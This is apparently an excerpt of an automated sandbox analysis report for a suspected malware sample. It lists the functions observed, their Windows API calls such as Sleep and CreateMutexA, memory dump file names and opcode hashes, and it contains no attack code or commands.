sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 6e6d79bf0e8090a788488d7364275ef98f58de713d94910d5d3e66d0cbb593bb
Instruction ID: 8d356c4ce1553365d407c83b21b9db6befdd88037e7693783eb6e5492912fa43
Opcode Fuzzy Hash: 6e6d79bf0e8090a788488d7364275ef98f58de713d94910d5d3e66d0cbb593bb
Instruction Fuzzy Hash: 65312631A011008BEB089BBCDD89BEDB773DB82310F288A58E064DB3D5C7759AC08797

Function 00619ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 6ebfc06903bf2f5acb6caeba3088132b8bcb5abc3b4ec1d7738edc16232be511
Instruction ID: dd1c6fec98d481f4cac32ee83d2b4b92c860c0cb465b8866caac56d17746ed19
Opcode Fuzzy Hash: 6ebfc06903bf2f5acb6caeba3088132b8bcb5abc3b4ec1d7738edc16232be511
Instruction Fuzzy Hash: D52167326052009BEB189B6CEC85BEDF763EBC1310F288658E068C73D5CB7599C08B62

Function 0061A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: af38c25adf0a73f1dde2c4db748cad5362b87a3a231d87465350b1cfa04b4b02
Instruction ID: f7ddf378dc16e8b59370dda8142a16b4caaa1a07b61302f9cdfd062b890c7ce9
Opcode Fuzzy Hash: af38c25adf0a73f1dde2c4db748cad5362b87a3a231d87465350b1cfa04b4b02
Instruction Fuzzy Hash: E6216D7164A1008EFB64A7EC9C867FDB2639F81300F2C4D1AE148D73D2CB7649C18293

Function 0061A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 30a072b7b4377fc945bf422b65d93d2fd2dff740262fb308fc537170747efaea
Instruction ID: 75e4c962f2e01686985a00b0a0f4e0233ec558f3db0fd89346b163386834db60
Opcode Fuzzy Hash: 30a072b7b4377fc945bf422b65d93d2fd2dff740262fb308fc537170747efaea
Instruction Fuzzy Hash: 34216A326052009BEB189BACDC857EDF763DBC2310F288659E468D77D5CB755AC08753

Function 0064D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0064A813,00000001,00000364,00000006,000000FF,?,0064EE3F,?,00000004,00000000,?,?), ref: 0064D870

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 98ccb398826eb31bc7dce089197b4160725de904ea25b186134db354612d18f9
Instruction ID: a20b635a4f55d7326279fe49ee08a056e2b698e7ccbeab299f331ac107e2ca20
Opcode Fuzzy Hash: 98ccb398826eb31bc7dce089197b4160725de904ea25b186134db354612d18f9
Instruction Fuzzy Hash: D2F0E232E456246EEB213A729C01BBF375B9F91770B288025FC08AB291DA20EC0186E0

Non-executed Functions

